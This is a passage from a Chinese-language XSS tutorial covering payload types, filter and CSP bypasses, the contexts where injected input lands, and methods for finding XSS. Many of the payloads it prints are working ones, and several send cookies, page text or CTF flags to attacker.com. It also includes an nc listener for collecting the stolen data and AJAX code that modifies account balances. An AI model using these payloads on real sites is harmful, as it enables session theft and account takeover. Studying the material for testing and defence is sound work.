img.src = "http://attacker.com/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);

这段代码使用CSS选择器精确定位到页面深处的某个文本元素,获取其纯文本内容(textContent而不是innerHTML),然后通过动态创建的Image对象发送到攻击者服务器。

querySelectorAll可以一次性获取所有匹配的元素:document.querySelectorAll('input[type="text"]') 可以获取页面上所有的文本输入框,这对于批量窃取表单数据特别有用。

3.3 特殊标签利用详解

3.3.1 SVG标签的XSS潜力

SVG(可缩放矢量图形)是XML格式的矢量图形描述语言,可以直接在HTML中嵌入使用。由于SVG基于XML语法,它支持一些HTML中不常见的特性和事件,这使得SVG成为XSS攻击的重要载体。

<svg onload="alert(1)"> 是最简单的SVG XSS Payload。当SVG元素加载完成时,onload事件处理器会执行其中的JavaScript代码。<svg onload="alert(1)"// 使用双斜杠作为注释,这是因为SVG是XML格式,//在XML中被视为注释的开始,可以用来消耗后续不需要的内容。

<svg onload="location.href='http://attacker.com/collect?c='+document.cookie"/> 展示了在SVG中窃取Cookie的完整攻击代码。SVG的onload事件处理器同样可以执行任意JavaScript代码。

SVG标签的XSS潜力不仅限于onload事件。SVG中可以包含<script>标签、<foreignObject>(允许嵌入任意HTML)以及其他在HTML5中不太常用的标签,这使得SVG成为一个独特的XSS攻击面。

3.3.2 Body标签的多样化Payload

<body> 标签是页面的主体容器,其事件处理器在整个页面的生命周期中都可以触发:

<body onload=alert(1)> 在页面完全加载后执行脚本。这是检测DOM完全就绪的常用方式。

<body onpageshow=alert(1)> 事件在页面显示时触发(包括从浏览器缓存中加载)。这个事件对于绕过某些使用onload的防护措施特别有用,因为onpageshowonload之后触发,且在页面回退时也会触发。

<body onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body> 展示了在body标签中窃取Cookie的完整代码。

使用空白符替代空格可以绕过某些简单的正则过滤:<body/**/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body> 这里的/**/是CSS风格的注释,在HTML解析时会被视为空白。

使用/替代空格:<body/onload=location.href='http://attacker.com/collect?cookie='+document.cookie></body> 这种技巧利用了HTML解析器的容错性,<body/onload被解析为<body>标签具有onload属性。

3.3.3 媒体标签的XSS利用

HTML5引入了多个新的媒体标签,这些标签在特定条件下也可以触发XSS:

<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" /> 使用onloadstart事件,该事件在媒体开始加载时触发,不需要等待完整加载。这里的src指向一个不存在或无效的视频文件,但onloadstart会在加载尝试开始时立即触发。

<audio> 标签同样支持onloadstartonerror等事件,可以用于类似的攻击。

<source> 标签作为<video><audio>的子元素,用于指定媒体资源。如果指定了多个资源,浏览器会依次尝试直到找到一个可用的。如果所有资源都失败,onerror会被触发。

3.3.4 Style标签的onload事件

<style onload=alert(1)></style> 是一种非常有趣的Payload。大多数人可能不知道<style>标签也支持onload事件。当样式表加载完成时(无论是内联样式还是外链样式),onload处理器会被触发。

这个Payload对于绕过某些XSS过滤器特别有效,因为<style>标签通常被认为不会执行脚本,因此可能被过滤器忽略。如果开发者只对<script><img><input>等常见标签进行检查,而忽略了<style>标签的onload事件,就会留下可利用的漏洞。

3.3.5 Iframe标签的隐蔽性

<iframe onload=document.location='http://attacker.com/collect?cookie='+document.cookie> 创建一个不可见的iframe(如果未指定宽高,默认是0x0),当iframe加载完成时将Cookie发送到攻击者服务器。

iframe的另一个优势是:某些安全策略可能允许iframe加载外部域的内容,即使主页面本身不允许跨域请求。攻击者可以利用iframe作为代理,从受害者的浏览器向攻击者服务器发送请求。

3.4 特殊场景Payload分析

3.4.1 使用XMLHttpRequest进行POST请求

XMLHttpRequest(XHR)是浏览器提供的HTTP客户端API,可以在JavaScript中发起任意的HTTP请求。这使得攻击者可以进行更复杂的数据窃取操作,例如发送POST请求、设置自定义请求头、处理响应等:

1
2
3
4
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://attacker.com/api/collect', true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.send('data='+encodeURIComponent(document.cookie));

这个脚本创建了一个POST请求,将Cookie作为表单数据发送到攻击者的API端点。

XMLHttpRequest的高级用途包括:在同一请求中窃取多种数据、绕过某些基于Referer的访问控制、发送JSON格式的数据、配合CSRF攻击等。

3.4.2 使用jQuery AJAX进行操作劫持

如果目标页面引入了jQuery库,攻击者可以使用更简洁的jQuery AJAX API来发起请求:

1
2
3
4
5
$.ajax({
url:"http://attacker.com/api/steal",
method:"POST",
data:{'cookie':document.cookie,'url':location.href}
})

jQuery的$.ajax()方法提供了更简洁的API,支持链式调用和Promise模式。

在CTF或渗透测试场景中,攻击者可能需要利用AJAX来修改服务器端的数据:

1
2
3
4
5
$.ajax({
url:"api/amount.php",
method:"POST",
data:{'u':'1','a':''}
})

这段代码尝试向网站的API发送POST请求,修改账户金额。通过XSS漏洞注入这样的脚本,攻击者可以在用户不知情的情况下,以该用户的身份执行敏感操作。

3.5 进阶Payload扩展

3.5.1 CSS注入式XSS

虽然传统的<style>标签内容不会被执行为JavaScript,但CSS表达式曾被Internet Explorer支持,可以执行JavaScript代码:<div style="width:expression(alert('XSS'))"> 这种技术现在已被废弃,现代浏览器不再支持CSS表达式,但它仍然可能存在于遗留系统中。

CSS注入的另一种用途是窃取CSRF令牌。攻击者可以注入CSS代码,尝试匹配表单中的token字段,然后使用JavaScript读取匹配元素的内容。由于现代浏览器的安全策略,这种攻击在当前环境中已经很难成功。

3.5.2 Math标签XSS

MathML是用于在网页中显示数学公式的标记语言,HTML5引入了原生的<math>标签支持。MathML与SVG类似,基于XML语法,可能支持一些HTML中不常见的事件处理器:<math><maction actiontype="statusline#http://attacker.com" selected="onmouseover=alert(1)">XSS</maction></math> 这个Payload利用了MathML的<maction>标签,尝试通过actiontype属性执行JavaScript。

3.5.3 Marquee标签XSS

<marquee>是HTML4中引入的滚动字幕标签,虽然在HTML5中已被废弃,但大多数浏览器仍然支持。<marquee onstart=alert('XSS')> 在内容开始滚动时触发脚本。

3.5.4 框架特定的XSS

Angular框架:Angular使用双花括号{{}}进行数据绑定,如果未启用严格上下文转义,攻击者可能可以注入可执行的表达式:{{constructor.constructor('alert(1)')()}} 这个Payload利用了JavaScript的构造函数,通过表达式注入执行任意代码。

React框架:React默认对插入的HTML进行转义,但如果开发者使用dangerouslySetInnerHTML或类似的不安全方法,就可能引入XSS漏洞。此外,URL的javascript:协议在某些React版本中未被过滤。

Vue框架:Vue的模板语法类似于Angular,也会自动转义绑定内容。但与React类似,如果开发者使用v-html指令,就会绕过安全机制。

3.6 监控与数据接收架构

3.6.1 接收端服务器搭建

XSS攻击收集的数据需要一个接收端来处理。攻击者通常会搭建一个简单的Web服务器来记录所有发送到特定端点的请求。

对于简单的场景,攻击者可以使用nc(netcat)监听端口来记录请求:nc -lvp 9033 这个命令会在9033端口监听TCP连接,将所有接收到的数据输出到终端。

更复杂的接收端可以使用Python Flask或Node.js Express搭建,提供日志记录、数据库存储、实时通知等功能。

3.6.2 实时监控脚本设计

实时监控脚本需要考虑数据过滤和处理:

1
2
3
4
5
$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {
if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {
window.location.href = 'http://attacker.com:9033/' +value.innerHTML;
}
});

这段脚本专门针对CTF比赛场景设计,它遍历表格中的所有单元格,查找包含flag的内容,并自动将找到的flag发送到监控服务器。过滤掉包含script字符串的内容是为了避免重复发送。


绕过技巧

4.1 绕过XSS过滤器的核心原理

理解XSS过滤器的工作原理是绕过它们的前提。大多数XSS过滤器基于以下几种机制:

黑名单过滤:过滤器维护一个已知的恶意模式列表(如<script>javascript:onerror=等),当检测到用户输入匹配这些模式时进行拦截或转义。这种方法简单但容易被绕过。

白名单过滤:只允许符合预期格式的输入(如纯字母数字),拒绝所有其他输入。这种方法更安全但可能过于严格,影响正常使用。

输入编码/转义:对特殊字符进行HTML实体编码或转义,将<转换为&lt;"转换为&quot;等。这种方法如果应用得当可以有效防御XSS,但如果遗漏了某些上下文或使用了不正确的编码方式,就可能失败。

绕过XSS过滤器的核心思路是:找到过滤器未覆盖的代码执行路径;利用HTML解析器的容错性和解析差异;使用编码、拼接、空字符等技巧构造不被识别为恶意但仍能被浏览器执行的Payload。

4.2 标签名绕过技术

4.2.1 大小写混淆

最早的XSS过滤器通常使用简单的字符串匹配来检测恶意标签,它们可能只检查小写形式的<script>。攻击者通过混合大小写可以绕过这种检测:<iMg onerror=alert(1) src=a> 这个Payload将img写成iMg,将onerror写成onError或混合大小写。浏览器在解析HTML时不区分大小写(除了在某些特殊上下文中),所以<iMg>会被正确识别为<img>标签。

现代过滤器通常会先进行大小写规范化(将输入转换为统一的大小写形式),然后再进行检查,所以大小写混淆技术已经不太有效。但它仍然是测试过滤器健壮性的基本技巧。

4.2.2 NULL字节注入

NULL字节(%00\0)在某些编程语言和处理场景中可能被作为字符串结束符。在PHP的某些旧版本中,如果NULL字节出现在字符串中间,后续内容可能被截断。然而,现代浏览器的HTML解析器通常会正确处理NULL字节,将其视为有效的字符。

<%00img onerror=alert(1) src=a> 在某些特殊配置或遗留系统中可能绕过检测,因为过滤器看到的可能是<加上NULL字节,而NULL字节可能导致检测逻辑出现异常。

4.2.3 空白符替代

HTML标签之间可以使用各种空白字符(空格、制表符、换行符等)。过滤器如果使用简单的正则表达式匹配标签名,可能没有考虑到所有有效的空白变体:

1
2
3
4
<img%09onerror=alert(1) src=a>  <!-- Tab字符 %09 -->
<img%0aonerror=alert(1) src=a> <!-- 换行符 %0a -->
<img%0donerror=alert(1) src=a> <!-- 回车符 %0d -->
<img/%0donerror=alert(1) src=a> <!-- 混合 -->

这些Payload利用了HTML解析器对空白字符的容错性。浏览器在解析HTML标签时会忽略标签名与属性名之间的各种空白字符。

<img/"onerror=alert(1) src=a> 使用异常语法绕过检测。这里的/"在HTML解析时会被忽略,因为"出现在标签名的位置,这通常是不合法的,但浏览器的容错解析器会将其忽略并继续解析。

4.3 属性名绕过技术

4.3.1 NULL字节在属性名中的利用

<img o%00nerror=alert(1) src=a>onerror拆分为onerror,中间插入NULL字节。如果过滤器只搜索完整的onerror字符串,就无法检测到这个变体。浏览器在解析时,NULL字节同样被忽略,属性被正确识别为onerror

4.3.2 空格和特殊字符的利用

<imgonerror='alert(1)'src=a> 完全移除onerror与标签名之间的空格。HTML解析器会将onerror视为<img>标签的属性名,而不是独立的标签。这种技巧利用了HTML规范允许标签名和属性名之间无需空格的特性。

4.4 属性值编码绕过技术

4.4.1 NULL字节截断属性值

<imgonerror=a%00lert(1) src=a> 在属性值中间插入NULL字节。如果过滤器对属性值进行了长度限制或格式检查,NULL字节可能导致检测逻辑提前终止,从而漏掉恶意内容。

4.4.2 HTML实体编码

<imgonerror=a&#x006c;ert(1) src=a> 使用HTML实体编码将属性值中的部分字符编码。这里的&#x006c;是字母l的十六进制Unicode编码(&#x表示十六进制Unicode码点)。浏览器在解析属性值时会进行HTML实体解码,将&#x006c;转换回l,最终a&#x006c;ert(1)被解析为alert(1)

HTML实体编码有多种形式:十进制&#60;、十六进制&#x3c;、命名实体&lt;(仅对特殊字符有效)。过滤器的HTML解码实现可能不完整或不正确,从而导致绕过。

4.5 可编码属性深度解析

4.5.1 URL类型属性的javascript:协议

某些HTML属性的值被设计为接受URL,当URL以javascript:协议开头时,其中的JavaScript代码会被执行。常见的支持javascript:的属性包括:

  • href:超链接的URL
  • action:表单提交地址
  • formaction:表单提交按钮的URL(可覆盖form的action)
  • location:window.location是document.location的别名,但作为属性也可以使用
  • data(在<object>标签中):数据源URL

<a href="javascript:alert(1)">click</a> 是最基本的javascript:协议利用。

<form action="javascript:alert(1)"> 尝试将表单action设置为javascript:协议,但大多数现代浏览器会阻止这种行为。

<button formaction="javascript:alert(1)"> 某些浏览器允许这种用法,但现代浏览器通常会阻止。

4.5.2 资源加载类属性的特殊处理

以下属性可以加载外部资源,当资源的MIME类型与预期不符时,可能触发不同的行为:

  • src:加载外部资源作为元素的内容(<script><img><iframe>等)
  • data:在<object><embed>等标签中加载数据资源
  • poster:视频的封面图片
  • background:元素的背景图片(已废弃)
  • code:Java小程序的代码(已废弃)

<object data="javascript:alert(1)"> 在某些浏览器中可能执行javascript:协议。

4.5.3 事件处理器属性的完整列表

所有以on开头的HTML属性都是事件处理器,属性值中的JavaScript代码会在相应事件发生时执行。以下是常用的事件处理器列表:

事件类型事件处理器触发条件
加载事件onload, onerror, onabort资源加载成功/失败/取消
鼠标事件onclick, ondblclick, onmousedown, onmousemove, onmouseout, onmouseover, onmouseup鼠标操作
键盘事件onkeydown, onkeypress, onkeyup键盘操作
表单事件onsubmit, onreset, onchange, onblur, onfocus表单交互
焦点事件onfocus, onblur元素获得/失去焦点
滚动事件onscroll滚动条滚动
拖拽事件ondrag, ondropHTML5拖拽API
媒体事件onplay, onpause, onended, ontimeupdate音频/视频播放
打印事件onafterprint, onbeforeprint打印操作
窗口事件onload, onunload, onresize, onerror窗口级别事件
合成事件oncompositionstart, oncompositionend输入法编辑器
触摸事件ontouchstart, ontouchmove, ontouchend触摸屏操作

4.6 字符集与编码绕过

4.6.1 非标准字符集利用

UTF-7是一种曾经广泛使用的Unicode编码,现在已基本淘汰。但在某些特殊配置下,服务器可能以UTF-7编码返回内容,而浏览器在没有明确指定字符集时可能尝试自动检测UTF-7。攻击者可以构造UTF-7编码的Payload来绕过仅针对UTF-8的过滤器:

1
+ADw-script+AD4-alert('XSS')+ADw-/script+AD4

这是<script>alert('XSS')</script>的UTF-7编码形式。

UTF-16和其他多字节编码也可能被用于类似的目的。现代Web应用已很少支持UTF-7,这种绕过技术主要用于测试遗留系统。

4.6.2 Unicode规范化利用

Unicode标准允许某些字符具有多种表示形式。例如,字母e可以表示为单个码点U+0065,也可以表示为组合字符U+0065加上组合分音符(这对于拉丁字母没有实际意义但在Unicode层面是合法的)。

攻击者可以利用Unicode规范化(Normalization)来绕过过滤器:<script>\u0061lert(1)</script> 使用Unicode转义序列表示alert。JavaScript引擎会规范化这些转义序列,将其转换为实际的字符。

4.6.3 双URL编码绕过

URL参数中的特殊字符需要进行URL编码(百分号编码)。如果服务器端的输入处理代码对参数进行了多次URL解码(一次由Web服务器,一次由应用代码),攻击者可以使用双URL编码来绕过检测:

1
%253cscript%253e

第一次URL解码得到%3cscript%3e(仍然是URL编码的<script>),第二次URL解码得到<script>。如果过滤器在第一次解码后就进行检查,就会漏掉恶意内容;但如果服务器端的代码会进行完整的双次解码,那么Payload就会生效。

4.7 长度限制绕过技术

4.7.1 拆分跨站脚本

当存在XSS漏洞的位置对输入长度有限制时,攻击者可以使用JavaScript将多个短片段拼接成一个完整的攻击脚本:

1
2
3
4
5
6
<script>
z='<script src=';
z+='test.c';
z+='n/1.js><\/script>';
document.write(z);
</script>

执行后会在页面中插入<script src=test.cn/1.js></script>,加载外部脚本文件。这种技术称为”XSS Vectoring”或”XSS Chaining”。

4.7.2 短域名和URL缩短

使用短域名服务可以缩短Payload的长度:<script src=//x.co/1.js></script> 这里x.co是一个短域名服务,将长URL压缩为短URL。攻击者可以注册一个短域名,将恶意JavaScript文件托管在短域名下,然后将Payload缩短到最小。

4.7.3 Base64编码脚本

对于支持data:协议的环境,可以使用Base64编码来传输恶意脚本:<script src="data:text/javascript;base64,YWxlcnQoJ1hTUycpOw=="></script> 这里的Base64字符串解码后是alert('XSS');。不过,data:协议在<script src>属性中通常不被现代浏览器支持(浏览器安全策略限制了script标签src属性可接受的内容类型),但在<object><embed>等标签中可能有效。

4.8 JavaScript层面的绕过

4.8.1 Unicode转义关键字

JavaScript允许在标识符中使用Unicode转义序列:\u006c代表字符l。因此,a\u006cert(1)等同于alert(1)。这可以用于绕过针对关键字alert的黑名单检测:<script>a\u006cert(1)</script> <script>eval('a\u006cert(1)')</script>

4.8.2 对象属性访问的替代写法

JavaScript提供多种访问对象属性的语法:

1
2
3
4
alert(document.cookie)      // 标准点语法
alert(document['cookie']) // 方括号语法
alert(document["cookie"]) // 方括号语法(双引号)
with(document)alert(cookie) // with语句

方括号语法中的字符串参数也可以进行编码:alert(document['c' + 'ookie']) alert(document['\x63ookie']) 这些技巧可以用于绕过针对特定字符串的黑名单。

4.8.3 eval和函数构造器

eval()函数可以将字符串作为JavaScript代码执行:

1
2
3
eval('alert(1)')
eval('\x61lert(1)')
eval(atob('YWxlcnQoMSk='))

Function构造函数可以创建匿名函数:
1
2
new Function('alert(1)')()
(new Function('return this'))().alert(1)

4.8.4 String.fromCharCode

String.fromCharCode()可以根据Unicode码点生成字符串:eval(String.fromCharCode(97,108,101,114,116,40,49,41)) 等同于eval('alert(1)')

4.9 CSP绕过技术

内容安全策略(CSP)是一种重要的XSS防护机制,但配置不当的CSP本身也可能被绕过。

4.9.1 JSONP端点绕过

JSONP(JSON with Padding)是一种绕过同源策略的数据传输技术,它通过<script>标签加载外部JavaScript来实现跨域数据访问。JSONP端点将数据包装在一个回调函数调用中,如callback({"data":"value"})

如果目标网站配置了过于宽松的CSP,允许加载来自特定域的脚本,攻击者可以寻找这些域上存在的JSONP端点,并利用它们返回任意JavaScript代码,从而绕过CSP的限制。

4.9.2 base标签绕过

<base>标签用于指定文档中所有相对URL的基础URL。如果攻击者能够注入<base href="http://attacker.com/">标签,后续的<script src="x.js">标签就会从攻击者指定的域加载脚本,绕过CSP对外链脚本的限制。

4.9.3 Dangling Markup(悬空标记)

Dangling Markup攻击不直接执行JavaScript,而是利用HTML解析器的行为来窃取页面内容。攻击者注入一个未闭合的标签和样式,利用浏览器的自动补全机制,将后续的页面内容(可能包含敏感数据如CSRF令牌)合并到攻击者的请求中:<img src="http://attacker.com/? 当页面中后续出现<input name="token" value="abc123">时,整个<img src="http://attacker.com/?`会被浏览器解释为img标签的src属性,发送请求到attacker.com,附带token的值。


XSS 可插入位置

5.1 脚本标签内容上下文

当用户输入被插入到<script>标签内部时,攻击者可以直接结束<script>标签并注入新的脚本:

1
2
3
<script>
var userInput = "用户输入";
</script>

如果用户输入是";alert(1);var x=",最终代码会变成:
1
2
3
<script>
var userInput = "";alert(1);var x="";
</script>

攻击者成功注入了alert(1);并重新打开了一个字符串以保持语法正确性。

攻击条件:目标参数被直接嵌入到<script>标签的JavaScript代码中。利用方式:使用双引号闭合字符串,使用分号结束语句,注入任意JavaScript代码。构造示例</script><script>alert(1)</script> 这会直接闭合第一个<script>标签,然后开始一个新的脚本标签。

5.2 HTML注释上下文

当用户输入被插入到HTML注释中时:

1
<!-- 用户输入 -->

攻击者可以使用-->闭合注释,然后注入任意HTML内容:
1
<!-- --><script>alert('hack')</script><!-- -->

这里的-->闭合了第一个注释,然后<script>标签被当作正常内容解析执行。

攻击条件:输入被放置在HTML注释中。利用方式:使用-->闭合注释,然后注入新内容。构造示例--><script>alert(1)</script><!--

5.3 标签属性名上下文

当用户输入成为HTML标签的属性名时:

1
<div 用户输入="xx"></div>

由于属性名位置通常不会被当作JavaScript执行,攻击者需要寻找可以触发脚本执行的方式:
1
<div ></div><script>alert('hack')</script><div a="xx"></div>

如果用户输入导致标签被提前闭合,攻击者可以注入新的标签。

攻击条件:输入被用作标签的属性名位置。利用方式:注入空白或特殊字符导致标签解析异常。构造示例<onfocusautofocus

5.4 标签属性值上下文

这是最常见的XSS插入点,当用户输入被用作HTML标签属性的值时:

1
<div id="用户输入"></div>

攻击者需要先闭合属性值和标签:
1
<div id=""></div><script>alert('hack')</script><div a="x"></div>

如果属性值被引号包围,攻击者需要使用相应的引号闭合。

攻击条件:输入被用作属性的值,可能被单引号、双引号或无引号包围。利用方式

  • 双引号包围:"><script>alert(1)</script><div a="
  • 单引号包围:'><script>alert(1)</script><div a='
  • 无引号:><script>alert(1)</script><div a=

5.5 标签名上下文

当用户输入被用作HTML标签的名称时:

1
<用户输入 id="xx" />

攻击者可以注入可以执行脚本的标签:
1
<>注入内容<script>alert('hack')</script><b id="xx" />

现代浏览器的HTML解析器会自动修正不完整的开始标签,所以<>会被忽略,然后<script>开始执行。

攻击条件:输入被用作标签名。利用方式:注入<>闭合任何隐含的开始标签,然后插入恶意内容。构造示例><script>alert(1)</script><b id="

5.6 CSS样式上下文

当用户输入被插入到<style>标签或元素的style属性中时:

1
<style>用户输入</style>

<style>标签中,恶意内容通常不会被执行为JavaScript,但可能导致样式注入或其他安全问题:
1
<style></style><script>alert('hack')</script><style></style>

攻击者能够闭合<style>标签,可以注入新的<script>标签。

攻击条件:输入被插入到CSS样式中。利用方式:闭合<style>标签,注入脚本标签;或使用CSS表达式(仅IE)。构造示例</style><script>alert(1)</script><style>

5.7 JSON/JavaScript上下文

当用户输入被插入到JavaScript代码块中(如<script>标签或事件处理器属性中):

5.7.1 在JavaScript字符串中

1
2
3
<script>
var data = "用户输入";
</script>

攻击者需要闭合字符串和语句:";alert(1);// 最终代码:var data = "";alert(1);//";

5.7.2 在JavaScript变量赋值中

1
2
3
<script>
userName = "用户输入";
</script>

攻击者可以使用JavaScript表达式:";alert(1);" 最终代码:userName = "";alert(1);";

5.7.3 在JavaScript数组/对象字面量中

1
2
3
<script>
var arr = [用户输入];
</script>

攻击者可以闭合数组语法并注入代码:1];alert(1);[' 最终代码:var arr = [1];alert(1);[''];

5.8 URL参数上下文

当用户输入被用作URL的路径或参数时,如果这个URL被用于动态生成页面内容(如<a href><img src><script src>等),就可能产生XSS:

<a href="用户输入">link</a> 攻击者可以使用javascript:协议:javascript:alert(1) 或闭合href属性:" onclick="alert(1) 最终代码:<a href="" onclick="alert(1)">link</a>

<img src="用户输入"> 如果src属性支持data:协议:data:text/html,<script>alert(1)</script> 或使用onerror事件:" onerror="alert(1)

5.9 DOM操作相关上下文

在JavaScript代码中,以下操作会将字符串作为HTML解析,需要特别警惕:

innerHTML/outerHTML

1
element.innerHTML = userInput;

任何HTML标签都会生效,包括<script>标签(但直接插入的script标签不会执行,需要使用其他方式如<img onerror>)。

document.write/writeln

1
document.write(userInput);

与innerHTML类似,写入的HTML会被解析执行。

insertAdjacentHTML

1
element.insertAdjacentHTML('beforeend', userInput);

将HTML片段插入到指定位置,同样会解析HTML标签。

eval/new Function

1
eval(userInput);

将字符串作为JavaScript代码执行,这是最高危的操作,任何JavaScript代码都会被直接执行。


漏洞挖掘

6.1 黑盒测试方法论

黑盒测试是指在不了解目标系统内部实现的情况下,通过模拟攻击者的行为来发现安全漏洞。对于XSS漏洞挖掘,黑盒测试主要依赖于向各种输入点提交特殊构造的测试数据,然后检查返回的页面是否以不安全的方式回显了这些数据。

6.1.1 测试前的准备工作

在开始测试之前,需要收集目标应用的所有可访问入口点:

  • URL路径和查询参数
  • HTTP POST请求的表单字段
  • HTTP头部(如User-Agent、Referer、Cookie等)
  • 文件上传的文件名(如果服务器会解析并显示文件名)
  • API端点(REST、GraphQL等)
  • WebSocket消息
  • JSON数据格式的各种字段

可以使用Burp Suite的Spider功能或OWASP ZAP的自动爬虫来系统地枚举所有入口点。

6.1.2 基本验证Payload设计

XSS测试的核心是构造能够被浏览器执行为JavaScript的输入。一个好的测试Payload应该:

  1. 能够检测XSS漏洞的存在
  2. 尽可能隐蔽,避免被WAF拦截
  3. 能够在不同的上下文中都有效

基本验证Payload通常使用alert()函数,因为它是最简单、最不可能被误报为其他问题的JavaScript调用:

1
2
3
4
5
"><script>alert(document.cookie)</script>
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3e%3cscript%3ealert(document.cookie)%3c/script%3e
"><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%00"><script>alert(document.cookie)</script>

这些Payload的测试覆盖了:

  • 标准<script>标签
  • 大小写混淆
  • URL编码
  • 标签嵌套/拆分
  • NULL字节注入

6.1.3 自动化扫描工具

Burp Suite Professional是业界最流行的Web安全测试工具之一。它的Scanner功能可以自动检测多种类型的XSS漏洞,包括反射型和存储型。对于DOM型XSS,Burp Suite提供了专门的DOM Invader插件,可以帮助测试人员识别潜在的客户端漏洞。

OWASP ZAP是开源的Web应用安全扫描器,提供类似Burp Suite的功能,但完全免费。ZAP的XSS检测采用主动和被动扫描相结合的方式:被动扫描在浏览应用时自动检查已有响应;主动扫描会主动向目标发送测试Payload并分析响应。

XSStrike是一款专门针对XSS漏洞的扫描工具,它不使用Payload模板,而是使用模糊测试和启发式分析来检测XSS漏洞。XSStrike能够智能识别输入被反射的上下文,并生成针对该上下文的定制化Payload。

Dalfox是另一个专注于XSS检测的开源工具,它使用多种技术来绕过WAF并发现潜在的XSS漏洞点。

6.1.4 浏览器开发者工具的使用

现代浏览器的开发者工具(DevTools)是XSS测试的重要辅助工具:

Elements/检查器面板:查看页面的实际DOM结构,理解用户输入在HTML中的位置。

Console控制台:执行JavaScript代码,观察页面的JavaScript行为,测试XSS Payload。

Network网络面板:监控HTTP请求和响应,分析参数传递过程。

Sources面板:调试JavaScript源代码,追踪用户输入的数据流向。

Security安全面板:检查页面的安全上下文和证书信息。

6.2 白盒测试与代码审计

白盒测试是指在拥有目标系统源代码的情况下进行的安全测试。对于XSS漏洞挖掘,白盒测试可以发现动态测试难以触及的深层漏洞,特别是DOM型XSS。

6.2.1 危险函数清单

在代码审计过程中,以下函数/模式是XSS漏洞的潜在点:

直接输出到HTML的函数

  • PHP: echo, print, printf, print_r(输出数组/对象时)
  • Java: out.println, response.getWriter().write
  • Python: print(在Web框架中)
  • Node.js: response.write, res.send

文件包含和模板渲染

  • PHP: include, require, include_once, require_once
  • 模板引擎的原始输出函数(如Jinja2的|safe过滤器)

DOM操作相关

  • JavaScript: innerHTML, outerHTML, insertAdjacentHTML, document.write, document.writeln
  • jQuery: html(), append(), prepend(), after(), before()
  • 其他框架的类似方法

动态代码执行

  • JavaScript: eval(), Function(), setTimeout(), setInterval()(第一个参数为字符串)
  • PHP: eval(), assert(), preg_replace()(带有/e修饰符,已废弃), create_function()
  • Python: eval(), exec(), compile()
  • Ruby: eval(), instance_eval(), class_eval()

用户输入相关的变量/参数

  • $_GET, $_POST, $_REQUEST(PHP)
  • request.args, request.form(Flask)
  • req.query, req.body(Express/Node.js)
  • request.getParameter()(Java Servlet)

6.2.2 数据流追踪方法

XSS漏洞的本质是用户输入→危险函数→输出。审计时需要追踪每一条可能的数据流路径:

  1. 识别所有输入点:从数据源(用户输入)开始,追踪它们在代码中的使用。

  2. 追踪数据流向:记录输入数据经过的每一个处理步骤,包括:

    • 存储到数据库
    • 从数据库读取
    • 在函数间传递
    • 最终输出到HTML
  3. 检查安全处理:在每一个数据处理节点,检查是否有适当的验证和编码:

    • 输入验证(类型检查、长度限制、白名单)
    • 输出编码(针对HTML上下文、JavaScript上下文、URL上下文、CSS上下文的不同编码)
    • 框架内置的自动转义
  4. 识别漏网之鱼:如果数据在某处被绕过或遗漏了安全处理,可能存在漏洞。

6.2.3 常见框架的审计要点

PHP应用

  • 检查是否使用了htmlspecialchars()htmlentities()等函数,以及参数是否正确(ENT_QUOTES标志、引号编码)
  • 检查数据库查询是否使用了参数化查询(PDO prepared statements)
  • 注意$_SERVER['PHP_SELF']等可能包含用户输入的变量

Java Web应用(JSP/Servlet)

  • 检查JSP页面是否使用了<c:out>标签或EL表达式的自动转义
  • 检查Filter是否正确配置
  • 注意request.getParameter()的各种使用方式

Python Flask/Django

  • Flask的Jinja2模板默认启用自动转义
  • Django也默认开启转义
  • 特别注意使用了|safe过滤器的地方

Node.js Express

  • 检查模板引擎(EJS、Handlebars等)的配置
  • 注意直接返回HTML的路由(res.send(htmlString)
  • 检查JSON API的返回数据

前端JavaScript框架

  • 审计所有使用innerHTMLdangerouslySetInnerHTML等方法的地方
  • 检查来自location.hashlocalStorage等的数据是否经过处理
  • 注意第三方库的潜在XSS风险

6.3 业务场景测试要点

6.3.1 高风险场景

以下业务场景是XSS漏洞的高发区,应该优先测试:

评论区/留言板:用户输入通常会被保存并显示给其他用户,是典型的存储型XSS入口。需要测试:

  • 评论内容的各种格式(纯文本、链接、@提及、表情符号)
  • 回复功能(是否会在不同位置显示)
  • 富文本编辑器(如果使用,需要测试HTML过滤的绕过)

用户资料页面:用户可以自定义昵称、签名、个人简介等:

  • 测试HTML标签是否被过滤
  • 测试emoji和特殊字符
  • 测试超长输入(可能触发不同的处理路径)

私信/站内信功能:私密消息可能包含敏感信息:

  • 测试消息内容的显示方式
  • 测试消息预览功能
  • 测试消息通知邮件(可能涉及邮件客户端的XSS)

搜索功能:搜索关键词通常会反射到结果页面:

  • 测试URL参数的各种编码
  • 测试搜索历史的显示
  • 测试搜索建议/自动补全功能

6.3.2 中等风险场景

以下场景的XSS风险相对较低,但仍需测试:

文件上传功能:如果服务器会显示上传文件的元数据:

  • 文件名是否被过滤
  • EXIF元数据是否被提取显示
  • 缩略图预览是否安全

URL跳转功能:某些网站提供便捷的跳转链接:

  • 跳转目标URL的显示和验证
  • Referer头的泄露风险

日期/时间显示

  • 测试特殊格式的日期字符串
  • 测试时区相关的特殊值

6.4 DOM型XSS的专门挖掘方法

DOM型XSS的挖掘需要特别关注客户端JavaScript代码,因为漏洞完全存在于浏览器端,服务器端的响应可能看起来完全安全。

6.4.1 识别危险的数据源

DOM型XSS的数据可能来自多种客户端来源:

URL相关

  • window.location.href(完整URL)
  • window.location.search(查询字符串,含?)
  • window.location.hash(锚点,含#)
  • document.URL
  • document.URLUnencoded
  • document.referrer

存储相关

  • localStorage
  • sessionStorage
  • cookie

消息相关

  • window.postMessage接收的数据
  • window.name

DOM相关

  • document.domain
  • document.title
  • document.cookie(可写)
  • 任意可以通过JavaScript读取的DOM属性

6.4.2 识别危险的sink(输出点)

找到数据来源后,需要追踪数据最终被写入DOM的地方:

HTML写入

  • element.innerHTML
  • element.outerHTML
  • element.insertAdjacentHTML
  • document.write/writeln
  • jQuery的.html(), .append(), .wrap()

